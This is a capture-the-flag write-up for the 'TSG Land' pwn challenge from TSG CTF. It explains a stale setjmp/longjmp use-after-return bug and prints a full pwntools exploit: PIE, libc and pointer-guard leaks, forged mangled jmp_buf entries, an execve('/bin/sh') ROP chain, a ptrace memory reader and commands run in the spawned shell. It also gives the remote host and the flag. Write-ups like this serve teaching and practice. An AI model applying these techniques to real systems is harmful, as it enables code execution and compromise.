Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnEasy

Tsg Land (Pwn)

CTF writeup for Tsg Land (Pwn) from TSGctf

//TSG CTF – TSG LAND (pwn)

Category: pwn (amd64 Linux)

Remote: nc 34.84.25.24 13579

Flag: TSGCTF{W3_4re_l00k1n9_4_5ee1n9_y0u_1n_TSGLAND_a9a1n_ff7c51fb6d50f181}


>0. TL;DR

This challenge is a classic stale setjmp/longjmp context bug.

  • The program stores jmp_buf env[5] globally.

  • It “resumes apps” by doing longjmp(env[q]) even after those functions returned.

  • That means the saved stack pointers/registers in jmp_buf can be used after the original stack frame is dead ⇒ stack use-after-return.

  • The notepad app keeps a heap pointer char *buf on the stack. If we re-enter notepad via a stale longjmp, that buf pointer can be attacker-controlled, giving:

  - a leak (printf("saved content: %s\n", buf)), and

  - a big write (fgets(buf, 0x1000, stdin)) to attacker-chosen addresses.

We then overwrite the desktop env[0] jump context (with glibc pointer mangling handled) to pivot into a ROP chain in .bss and execute execve("/bin/sh",0,0).

Local success first, then the exact same exploit works remotely using only in-band leaks.


>1. Files

Archive extracted layout (relevant files):

  • chall – the ELF

  • chall.c – source

  • libc.so.6 – the libc used by the container (Ubuntu glibc 2.35)

  • exploit_local.py – my final solver (works local + remote)


>2. First look / protections

Program banner

console

$ ./chall <<< '0' | head -n 30

Welcome to TSG LAND!!!

...

1: notepad.exe

2: password ate quiz ~returns~

3: 4x4 slide puzzle

4: int float translater

0: exit TSG LAND

May I help you? > bye

Mitigations

console

$ checksec --file=./chall

[*] './chall'

    Arch:       amd64-64-little

    RELRO:      Full RELRO

    Stack:      Canary found

    NX:         NX enabled

    PIE:        PIE enabled

    Stripped:   No

So we need a logic bug; we can’t just smash a return address directly.


>3. Reading the source: the real bug

3.1 The “OS-like” app launcher

Key idea in main() (from chall.c):

c

jmp_buf env[5];

int launched[5];

  

int main() {

    int res = setjmp(env[0]);

    ...

  

    for (;;) {

        int q = read_int("May I help you?");

        ...

        if (launched[q]) {

            longjmp(env[q], 1);

        } else {

            launched[q] = 1;

            ((void(*)())apps[q])();

        }

    }

}

This is extremely suspicious:

  • env[q] is saved once by setjmp() inside each app.

  • After the app returns to desktop (by longjmp(env[0], 1)), the function’s stack frame is gone.

  • But the program still does longjmp(env[q], 1) later.

That means we restore a stale stack pointer and jump into a function that already returned.

In exploit terms: stack use-after-return by longjmp().

3.2 The powerful primitive: notepad

Notepad is the jackpot:

c

void notepad() {

    void *_[99]; // padding

    char *buf = malloc(0x1000);

  

    if (setjmp(env[1]) != 0) {

        printf("saved content: %s\n", buf);

    }

  

    for (;;) {

        int q = read_int("1: edit, 0: save and quit");

        if (q == 0) {

            longjmp(env[0], 1);

        } else {

            printf("enter the content > ");

            fgets(buf, 0x1000, stdin);

        }

    }

}

buf is a stack-local variable storing a heap pointer.

If we can corrupt that stale stack slot before re-entering via longjmp(env[1]), we get:

  • Leak: printf("...%s...", buf)

  • Write: fgets(buf, 0x1000, stdin)

The write is huge (up to 0x1000 bytes) and can target arbitrary addresses.


>4. Getting control of notepad’s stale buf pointer

We need a way to overwrite the stale stack memory where notepad stored buf.

4.1 Why this is possible

Different “apps” use different stack frames, but because we re-enter them with longjmp, stack pointers can overlap heavily across apps.

Two apps matter:

  • slide_puzzle() has a big local struct board b with an int board[16].

  • int_float_translater() has a local unsigned long num; which can be set by scanf.

The trick is to use one app to write values into stack memory that overlaps another app’s locals.

4.2 Slide puzzle move semantics matter

The slide puzzle has a custom move implementation:

c

// move() comment says: left, down, up, right

void move(struct board *b, char m) {

    switch (m) {

        case 'a': // left

            if (b->sx < 3) {

                b->board[b->sy*4 + b->sx] = b->board[b->sy*4 + b->sx + 1];

                b->sx++;

            }

            break;

        case 'd': // right

            if (b->sx > 0) {

                b->board[b->sy*4 + b->sx] = b->board[b->sy*4 + b->sx - 1];

                b->sx--;

            }

            break;

        case 'w': // up

            if (b->sy < 3) {

                b->board[b->sy*4 + b->sx] = b->board[(b->sy+1)*4 + b->sx];

                b->sy++;

            }

            break;

        case 's': // down

            if (b->sy > 0) {

                b->board[b->sy*4 + b->sx] = b->board[(b->sy-1)*4 + b->sx];

                b->sy--;

            }

            break;

    }

}

Important: the movement direction names are a bit “inverted” compared to typical puzzles.

I treated the code as ground truth and derived a deterministic sequence that copies chosen board[] entries into other indices.

4.3 The sculpting primitive

My solver uses this plan:

  1. Resume slide puzzle and normalize the blank to bottom-right, so the move plan is deterministic.

  2. Use the translator to inject a 64-bit value that lands in board[8] and board[9].

  3. Use a deterministic move sequence to copy:

   - board[9]board[3] (high 32 bits)

   - board[8]board[2] (low 32 bits)

Then the 8 bytes at board[2]||board[3] become an attacker-chosen 64-bit value.

Because slide’s stack slot at the same offset overlaps notepad’s buf slot, this sets notepad’s stale buf pointer.


>5. Pivoting execution: overwriting env[0] (with pointer mangling)

5.1 Why env[0]

env[0] is the desktop trampoline. Every app exits back to desktop via:

c

longjmp(env[0], 1);

If we overwrite env[0] to set:

  • saved rsp → pointer to our ROP chain (in .bss)

  • saved rip → a ret gadget

then triggering longjmp(env[0], 1) pivots directly into our ROP.

5.2 Glibc pointer mangling in jmp_buf

Modern glibc mangles pointers inside jmp_buf.

On amd64 glibc, saved registers like rsp, rbp, and rip are stored as:

  • mangled = rol(ptr ^ guard, 0x11)

So to write valid jmp_buf values, we must know the per-process guard.

Local: get guard using ptrace

For local exploitation I used a helper ptrace_read() so I could read the process memory even when /proc/<pid>/mem was blocked.

We know a “real” return address in main (right after _setjmp):

asm

1cd1: call _setjmp

1cd6: mov  DWORD PTR [rbp-0x8],eax   <-- this is the known RIP

So we compute:

  • guard = ror(mangled_rip, 0x11) ^ real_rip

Remote: leak the mangled rip using notepad

Remote cannot ptrace. We do it purely with I/O:

  1. Leak PIE base (so we know real_rip).

  2. Use the notepad leak primitive to read env[0].rip_mangled.

  3. Compute the same guard formula.


>6. In-band leaks needed for remote

To solve remote without ptrace, we need:

  1. PIE base

  2. libc base

  3. pointer guard

6.1 PIE base leak: pwquiz → slide board print

pwquiz() has a stack array of pointers hints[3] pointing into the PIE .rodata.

Because stale stacks overlap, when we “resume slide puzzle” after running pwquiz, the slide board integers end up printing the raw pointer values split into two 32-bit ints.

The solver does:

  • run pwquiz once and quit

  • capture one slide board print

  • parse two ints and rebuild a 64-bit pointer

  • subtract the known offset of a hint string to compute PIE base

6.2 libc base leak: global stdout

The binary has a stdout global pointer in .bss.

That points into libc’s _IO_2_1_stdout_.

So we leak:

  • libc_stdout = *(stdout)

  • libc_base = libc_stdout - offset(_IO_2_1_stdout_)

6.3 pointer guard leak

Once PIE base is known, we know the “real RIP” address after _setjmp in main.

Then we leak mangled RIP out of env[0] and compute guard.


>7. Final payload design

7.1 Avoiding fgets truncation by newline

The write primitive is fgets(buf, 0x1000, stdin).

Important property: it stops on \n.

So if our payload bytes contain 0x0a, the write may be truncated, leading to partial jmp_buf overwrites and crashes.

My final exploit handles this by:

  • selecting a chain_addr whose mangled value contains no \n bytes,

  • building a newline-free overwrite payload,

  • and (if needed) placing "/bin/sh\0" into .bss if the libc string address is newline-hostile.

7.2 Using execve syscall instead of system

system("/bin/sh") is often fine, but can be brittle (signals, environment, stack alignment quirks).

I used a direct syscall chain:

  • set registers: rdi = "/bin/sh", rsi = 0, rdx = 0, rax = 59

  • syscall; ret

This is compact and stable.


>8. Full solver code

The complete solver is in exploit_local.py (works in 3 modes):

  • Local + ptrace (default): python3 exploit_local.py

  • Local, remote-style in-band (ASLR on): INBAND=1 python3 exploit_local.py

  • Remote auto mode (non-interactive): python3 exploit_local.py 34.84.25.24 13579

Below is the full content (as requested).

<details> <summary><strong>exploit_local.py (full)</strong></summary>
python

#!/usr/bin/env python3

from __future__ import annotations

  

import os

import re

import struct

import sys

from pathlib import Path

import ctypes

import ctypes.util

  

from pwn import ELF, ROP, context, process, remote

  

context.binary = "./chall"

context.log_level = os.environ.get("LOG", "info")

  

HERE = Path(__file__).resolve().parent

  
  

def p64(x: int) -> bytes:

    return struct.pack("<Q", x & 0xFFFFFFFFFFFFFFFF)

  
  

def has_nl(data: bytes) -> bool:

    return b"\n" in data

  
  

def u64(data: bytes) -> int:

    return struct.unpack("<Q", data.ljust(8, b"\x00"))[0]

  
  

def rol(x: int, r: int) -> int:

    r &= 63

    return ((x << r) | (x >> (64 - r))) & 0xFFFFFFFFFFFFFFFF

  
  

def ror(x: int, r: int) -> int:

    r &= 63

    return ((x >> r) | (x << (64 - r))) & 0xFFFFFFFFFFFFFFFF

  
  

def mangle_ptr(ptr: int, guard: int) -> int:

    return rol(ptr ^ guard, 0x11)

  
  

def find_nl_free_chain_addr(env0_addr: int, guard: int) -> int:

    # Search within a nearby RW region (same .bss page) for a pivot address whose

    # mangled representation contains no '\n' bytes, so fgets() won't truncate.

    for off in range(0x500, 0x900, 8):

        cand = env0_addr + off

        if cand % 16 != 0:

            continue

        if not has_nl(p64(mangle_ptr(cand, guard))):

            return cand

    raise RuntimeError("failed to find newline-free chain address")

  
  

def parse_maps(pid: int) -> dict[str, int]:

    bases: dict[str, int] = {}

    maps = Path(f"/proc/{pid}/maps").read_text()

    for line in maps.splitlines():

        # example:

        # 555555554000-555555556000 r--p ... /path/chall

        m = re.match(r"^([0-9a-f]+)-[0-9a-f]+\s+....\s+.*\s(/.*)$", line)

        if not m:

            continue

        start = int(m.group(1), 16)

        path = m.group(2)

        if path.endswith("/chall"):

            bases["chall"] = min(start, bases.get("chall", start))

        if path.endswith("/libc.so.6"):

            bases["libc"] = min(start, bases.get("libc", start))

    if "chall" not in bases or "libc" not in bases:

        raise RuntimeError(f"failed to find bases in /proc/{pid}/maps")

    return bases

  
  

def read_mem(pid: int, addr: int, size: int) -> bytes:

    with open(f"/proc/{pid}/mem", "rb", buffering=0) as f:

        f.seek(addr)

        return f.read(size)

  
  

_libc_path = ctypes.util.find_library("c")

if not _libc_path:

    raise RuntimeError("failed to find libc for ptrace")

_clibc = ctypes.CDLL(_libc_path, use_errno=True)

  

# long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

_clibc.ptrace.argtypes = [ctypes.c_uint, ctypes.c_uint, ctypes.c_void_p, ctypes.c_void_p]

_clibc.ptrace.restype = ctypes.c_long

  
  

def _ptrace(request: int, pid: int, addr: int = 0, data: int = 0) -> int:

    res = _clibc.ptrace(request, pid, ctypes.c_void_p(addr), ctypes.c_void_p(data))

    if res == -1:

        err = ctypes.get_errno()

        raise OSError(err, os.strerror(err))

    return res

  
  

def ptrace_read(pid: int, addr: int, size: int) -> bytes:

    """Read memory from another process by temporarily ptrace-attaching.

  

    On many systems (Yama), direct /proc/<pid>/mem reads return EIO unless attached.

    """

  

    PTRACE_PEEKDATA = 2

    PTRACE_ATTACH = 16

    PTRACE_DETACH = 17

  

    # Attach and wait for stop

    _ptrace(PTRACE_ATTACH, pid)

    _, status = os.waitpid(pid, 0)

    if not os.WIFSTOPPED(status):

        raise RuntimeError("ptrace attach did not stop the process")

  

    try:

        out = bytearray()

        read_addr = addr

        while len(out) < size:

            word = _ptrace(PTRACE_PEEKDATA, pid, read_addr, 0)

            out += struct.pack("<Q", word & 0xFFFFFFFFFFFFFFFF)

            read_addr += 8

        return bytes(out[:size])

    finally:

        _ptrace(PTRACE_DETACH, pid, 0, 0)

  
  

class TsgLand:

    def __init__(self, io):

        self.io = io

  

    def _menu(self, choice: int):

        self.io.sendlineafter(b"May I help you? > ", str(choice).encode())

  

    def launch_notepad_once(self):

        self._menu(1)

        self.io.sendlineafter(b"1: edit, 0: save and quit > ", b"0")

  

    def launch_pwquiz_once_and_quit(self):

        self._menu(2)

        self.io.sendlineafter(b"1~3: hint, 4: answer, 0: quit", b"0")

  

    def launch_slide_once_and_quit(self):

        self._menu(3)

        self.io.recvuntil(b"q: save and quit > ")

        self.io.send(b"q")

  

    def resume_slide(self):

        self._menu(3)

        self.io.recvuntil(b"q: save and quit > ")

  

    def slide_capture_board(self) -> bytes:

        self._menu(3)

        return self.io.recvuntil(b"q: save and quit > ")

  

    def launch_translator_and_set_u64(self, num: int):

        self._menu(4)

        self.io.sendlineafter(

            b"1: uint64 to float64, 2: float64 to uint64, 0: quit > ", b"1"

        )

        self.io.sendlineafter(b"num(uint64) > ", str(num).encode())

        self.io.sendlineafter(

            b"1: uint64 to float64, 2: float64 to uint64, 0: quit > ", b"0"

        )

  

    def resume_notepad(self):

        self._menu(1)

  

    def notepad_write(self, data: bytes):

        self.io.sendlineafter(b"1: edit, 0: save and quit > ", b"1")

        self.io.sendafter(b"enter the content > ", data + b"\n")

  

    def notepad_quit(self):

        self.io.sendlineafter(b"1: edit, 0: save and quit > ", b"0")

  

    # --- slide puzzle move helpers ---

    def sp_send_moves(self, moves: str):

        # slide_puzzle prints the whole board every step; if we don't drain output,

        # stdout can block (pipe buffer fills) and our queued moves won't be processed.

        for ch in moves:

            if ch == "\n":

                continue

            self.io.send(ch.encode())

            self.io.recvuntil(b"q: save and quit > ")

  

    def sp_quit(self):

        self.io.send(b"q")

  
  

def sculpt_notepad_buf_via_slide(app: TsgLand, addr: int):

    """Set notepad's stale local `buf` (stored at rbp-0x328) to `addr`.

  

    This works because slide_puzzle's stack slot at rbp-0x328 overlaps notepad's `buf` slot,

    and we can inject 32-bit halves into slide_puzzle board[8]/[9] via int_float_translater.

  

    Preconditions:

    - notepad was launched once (env[1] saved)

    - slide_puzzle was launched once (env[3] saved)

    """

  

    def _parse_blank_xy(slide_out: bytes) -> tuple[int, int]:

        # slide prints a 4x4 grid; the blank is printed as "[]".

        rows = 0

        for line in slide_out.decode(errors="ignore").splitlines():

            tokens = re.findall(r"\[\]|-?\d+", line)

            if len(tokens) != 4:

                continue

            if "[]" in tokens:

                x = tokens.index("[]")

                y = rows

                return x, y

            rows += 1

            if rows >= 4:

                break

        raise RuntimeError("failed to locate blank position in slide output")

  

    def _moves_to_bottom_right(x: int, y: int) -> str:

        # move() semantics: 'a' increases sx (blank right), 'd' decreases sx (blank left)

        #                 'w' increases sy (blank down),  's' decreases sy (blank up)

        mv = []

        if x < 3:

            mv.append("a" * (3 - x))

        elif x > 3:

            mv.append("d" * (x - 3))

        if y < 3:

            mv.append("w" * (3 - y))

        elif y > 3:

            mv.append("s" * (y - 3))

        return "".join(mv)

  

    lo32 = addr & 0xFFFFFFFF

    hi32 = (addr >> 32) & 0xFFFFFFFF

  

    # Ensure blank starts at bottom-right for the deterministic plan.

    # sculpt_notepad_buf_via_slide() is used multiple times; previous runs move the blank.

    out = app.slide_capture_board()

    bx, by = _parse_blank_xy(out)

    fix = _moves_to_bottom_right(bx, by)

    if fix:

        app.sp_send_moves(fix)

    app.sp_quit()

  

    # Inject into stale slide_puzzle board[8]=lo32, board[9]=hi32.

    app.launch_translator_and_set_u64((hi32 << 32) | lo32)

  

    # Resume slide_puzzle. Assume blank starts at index 15 (sx=3, sy=3).

    app.resume_slide()

  

    # Correct deterministic plan (derived from the exact move() semantics):

    # After injection, board[8]=lo32 and board[9]=hi32.

    # We do two phases:

    #   Phase HI: use board[9] to set board[3]=hi32 without touching board[8].

    #   Phase LO: use board[8] to set board[2]=lo32 without touching board[3].

  

    # Phase HI: set board[3] = hi32

    # 15 -> 14 -> 10

    app.sp_send_moves("ds")

    # blank@10: 10 <- 9 (hi), blank->9

    app.sp_send_moves("d")

    # 9 -> 5 -> 6

    app.sp_send_moves("sa")

    # blank@6: 6 <- 10 (hi), blank->10

    app.sp_send_moves("w")

    # 10 -> 11 -> 7

    app.sp_send_moves("as")

    # blank@7: 7 <- 6 (hi), blank->6

    app.sp_send_moves("d")

    # 6 -> 2 -> 3

    app.sp_send_moves("sa")

    # blank@3: 3 <- 7 (hi), blank->7

    app.sp_send_moves("w")

  

    # Phase LO: set board[2] = lo32

    # From blank@7, go to 9 via 7 -> 6 -> 5 -> 9

    app.sp_send_moves("ddw")

    # blank@9: 9 <- 8 (lo), blank->8

    app.sp_send_moves("d")

    # Move blank to 10 without stepping on 9: 8 -> 12 -> 13 -> 14 -> 10

    app.sp_send_moves("waas")

    # blank@10: 10 <- 9 (lo), blank->9

    app.sp_send_moves("d")

    # 9 -> 5 -> 6

    app.sp_send_moves("sa")

    # blank@6: 6 <- 10 (lo), blank->10

    app.sp_send_moves("w")

    # Move blank to 2 without stepping on 6: 10 -> 9 -> 5 -> 1 -> 2

    app.sp_send_moves("dssa")

    # blank@2: 2 <- 6 (lo), blank->6

    app.sp_send_moves("w")

  

    app.sp_quit()

  
  

def parse_board_from_slide_output(data: bytes) -> list[int]:

    txt = data.decode(errors="ignore")

    return [int(x) for x in re.findall(r"-?\d+", txt)]

  
  

def leak_pie_base_via_pwquiz_slide(app: TsgLand, elf: ELF) -> int:

    """Leak PIE base by overwriting slide_puzzle's stale board with pwquiz hint pointers."""

  

    # pwquiz stack writes overlap slide_puzzle board[]; then re-enter slide_puzzle via longjmp.

    app.launch_pwquiz_once_and_quit()

    out = app.slide_capture_board()

    app.sp_quit()

  

    nums = parse_board_from_slide_output(out)

    if len(nums) < 2:

        raise RuntimeError("failed to parse slide output for PIE leak")

  

    lo = nums[0] & 0xFFFFFFFF

    hi = nums[1] & 0xFFFFFFFF

    leaked_ptr = (hi << 32) | lo

  

    hint3 = b"Hint 3: the most used password in the world"

    hint3_off = next(elf.search(hint3))

    base = leaked_ptr - hint3_off

    return base & 0xFFFFFFFFFFFFF000

  
  

def notepad_leak_bytes(app: TsgLand, addr: int) -> bytes:

    sculpt_notepad_buf_via_slide(app, addr)

    app.resume_notepad()

    app.io.recvuntil(b"saved content: ")

    leaked = app.io.recvuntil(b"\n", drop=True)

    app.notepad_quit()

    return leaked

  
  

def notepad_leak_qword(app: TsgLand, addr: int) -> int:

    return u64(notepad_leak_bytes(app, addr)[:8])

  
  

def notepad_write_where(app: TsgLand, addr: int, data: bytes):

    sculpt_notepad_buf_via_slide(app, addr)

    app.resume_notepad()

    app.notepad_write(data)

    app.notepad_quit()

  
  

def compute_guard(pid: int, env0_addr: int, real_rip: int) -> int:

    mangled_rip = u64(ptrace_read(pid, env0_addr + 0x38, 8))

    return ror(mangled_rip, 0x11) ^ real_rip

  
  

def unmangle_ptr(mangled: int, guard: int) -> int:

    return ror(mangled, 0x11) ^ guard

  
  

def main():

    elf = ELF(str(HERE / "chall"), checksec=False)

    libc = ELF(str(HERE / "libc.so.6"), checksec=False)

  

    inband = os.environ.get("INBAND") == "1" or len(sys.argv) == 3

    auto = os.environ.get("AUTO") == "1" or len(sys.argv) == 3

  

    if len(sys.argv) == 3:

        host = sys.argv[1]

        port = int(sys.argv[2])

        io = remote(host, port)

    else:

        # Local: keep the original ptrace-based path by default (reliable).

        # Set INBAND=1 to test the remote-style exploit locally under ASLR.

        io = process([str(HERE / "chall")], cwd=str(HERE), aslr=inband)

  

    io.timeout = 3

    app = TsgLand(io)

  

    if not inband:

        bases = parse_maps(io.pid)

        elf.address = bases["chall"]

        libc.address = bases["libc"]

  

        env0_addr = elf.sym["env"]  # env[0] base (rebased)

        # _setjmp returns to main+0x30 (instruction at 0x1cd6 relative)

        real_rip = elf.address + 0x1CD6

        guard = compute_guard(io.pid, env0_addr, real_rip)

  

        # Satisfy sculpting preconditions: create env[3] and env[1].

        app.launch_slide_once_and_quit()

        app.launch_notepad_once()

    else:

        # --- Remote-style exploitation (no ptrace): ---

        # Create env[3] for slide_puzzle re-entry.

        app.launch_slide_once_and_quit()

  

        pie_base = leak_pie_base_via_pwquiz_slide(app, elf)

        elf.address = pie_base

        env0_addr = elf.sym["env"]

  

        # Create env[1] for notepad re-entry.

        app.launch_notepad_once()

  

        # Leak pointer guard from env[0].rip (mangled) and known real RIP.

        mangled_rip = notepad_leak_qword(app, env0_addr + 0x38)

        real_rip = elf.address + 0x1CD6

        guard = ror(mangled_rip, 0x11) ^ real_rip

  

        # Leak libc from global stdout pointer.

        stdout_g = elf.sym.get("stdout", elf.address + 0x4060)

        libc_stdout = notepad_leak_qword(app, stdout_g)

        libc.address = libc_stdout - libc.sym["_IO_2_1_stdout_"]

  

    # Choose a writable ROP chain spot in .bss that is newline-safe under mangling.

    chain_addr = find_nl_free_chain_addr(env0_addr, guard)

  

    rop = ROP([elf, libc])

    ret = rop.find_gadget(["ret"])[0]

  

    # Prefer an execve("/bin/sh", NULL, NULL) syscall chain for robustness.

    libc_rop = ROP(libc)

    pop_rdi = libc_rop.find_gadget(["pop rdi", "ret"])[0]

    pop_rsi = libc_rop.find_gadget(["pop rsi", "ret"])[0]

    pop_rax_rdx_rbx = (

        libc_rop.find_gadget(["pop rax", "pop rdx", "pop rbx", "ret"])[0]

    )

    syscall_ret = libc_rop.find_gadget(["syscall", "ret"])[0]

  

    binsh = next(libc.search(b"/bin/sh\x00"))

  

    # Ensure the chain bytes themselves contain no '\n' (fgets delimiter).

    # If libc's "/bin/sh" address is newline-hostile, place the string in .bss.

    binsh_addr = binsh

    bss_binsh = chain_addr + 0x200

    chain_try = b"".join(

        [

            p64(pop_rdi),

            p64(binsh_addr),

            p64(pop_rsi),

            p64(0),

            p64(pop_rax_rdx_rbx),

            p64(59),

            p64(0),

            p64(0),

            p64(syscall_ret),

        ]

    )

    if has_nl(chain_try) or has_nl(p64(binsh_addr)):

        # Write "/bin/sh\0" into .bss and use that instead.

        if inband:

            notepad_write_where(app, bss_binsh, b"/bin/sh\x00")

        else:

            sculpt_notepad_buf_via_slide(app, bss_binsh)

            app.resume_notepad()

            app.notepad_write(b"/bin/sh\x00")

            app.notepad_quit()

        binsh_addr = bss_binsh

  

    chain = b"".join(

        [

            p64(pop_rdi),

            p64(binsh_addr),

            p64(pop_rsi),

            p64(0),

            p64(pop_rax_rdx_rbx),

            p64(59),

            p64(0),

            p64(0),

            p64(syscall_ret),

        ]

    )

    if has_nl(chain):

        raise RuntimeError("failed to build newline-free ROP chain")

  

    # --- Write chain and hijack env[0] ---

    if inband:

        notepad_write_where(app, chain_addr, chain)

    else:

        sculpt_notepad_buf_via_slide(app, chain_addr)

        app.resume_notepad()

        app.notepad_write(chain)

        app.notepad_quit()

  

    # Build a newline-safe full jmpbuf overwrite: all saved regs point at chain_addr.

    pivot_rip = ret

    mang_chain = mangle_ptr(chain_addr, guard)

    mang_rip = mangle_ptr(pivot_rip, guard)

  

    payload = b"".join(

        [

            p64(mang_chain),

            p64(mang_chain),

            p64(mang_chain),

            p64(mang_chain),

            p64(mang_chain),

            p64(mang_chain),

            p64(mang_chain),

            p64(mang_rip),

        ]

    )

  

    # --- Robust env[0] overwrite via notepad buf-slot self-write ---

    env1_addr = env0_addr + 0xC8

    if inband:

        env1_rbp_mangled = notepad_leak_qword(app, env1_addr + 0x08)

    else:

        env1_rbp_mangled = u64(ptrace_read(io.pid, env1_addr + 0x08, 8))

  

    notepad_rbp = unmangle_ptr(env1_rbp_mangled, guard)

    bufslot_addr = notepad_rbp - 0x328

  

    # 1) Make notepad's buf point to its own bufslot on the stack

    sculpt_notepad_buf_via_slide(app, bufslot_addr)

  

    app.resume_notepad()

    # 2) Overwrite buf pointer value to env[0]

    app.notepad_write(p64(env0_addr))

    # 3) Now write the jmp_buf payload to env[0]

    app.notepad_write(payload)

    # 4) Trigger longjmp(env[0], 1)

    app.notepad_quit()

  

    if auto:

        # Non-interactive: dump flag and exit.

        io.sendline(

            b"echo __BEGIN__; "

            b"uname -a; id; pwd; "

            b"ls -al; ls -al flag*.txt flag-*.txt 2>/dev/null; "

            b"echo __TRY__; "

            b"cat /flag.txt 2>/dev/null; "

            b"cat flag.txt 2>/dev/null; "

            b"cat build/flag.txt 2>/dev/null; "

            b"cat flag-*.txt 2>/dev/null; "

            b"cat flag*.txt 2>/dev/null; "

            b"echo __END__; exit"

        )

        data = io.recvall(timeout=8) or b""

        m = re.search(rb"TSGCTF\{[^\n\r}]+\}", data)

        if m:

            sys.stdout.buffer.write(m.group(0) + b"\n")

        else:

            sys.stdout.buffer.write(data)

        return

  

    io.interactive()

  
  

if __name__ == "__main__":

    main()

  
</details>

>9. Running it locally (proof)

9.1 Dependencies

console

$ python3 -m pip install --user pwntools

9.2 Local exploit (ptrace-based)

console

$ python3 exploit_local.py

[*] Starting local process './chall'

...

$ cat build/flag.txt

TSGCTF{...local...}

9.3 Local exploit in remote-style mode (no ptrace)

console

$ INBAND=1 python3 exploit_local.py

$ cat build/flag.txt

TSGCTF{...local...}

>10. Remote solve (non-interactive)

console

$ python3 exploit_local.py 34.84.25.24 13579

TSGCTF{W3_4re_l00k1n9_4_5ee1n9_y0u_1n_TSGLAND_a9a1n_ff7c51fb6d50f181}

>11. Debugging notes (what mattered)

  • Send q as a single byte (not q\n) to avoid leaving extra newlines for getchar().

  • Normalize slide blank position before each sculpt; otherwise the deterministic move plan breaks on the 2nd sculpt.

  • jmp_buf pointers are mangled in glibc: you must recover the pointer guard and re-mangle rsp/rip.

  • fgets() truncates at \n; choose newline-safe addresses/payloads.

  • If you set libc.address, pwntools ROP(libc) gadgets are already absolute; do not add base twice.


>12. References

  • man setjmp, man longjmp

  • pwntools docs: https://docs.pwntools.com/

  • glibc source: search for PTR_MANGLE / PTR_DEMANGLE and “pointer guard” in the glibc tree (used by setjmp/longjmp on x86_64).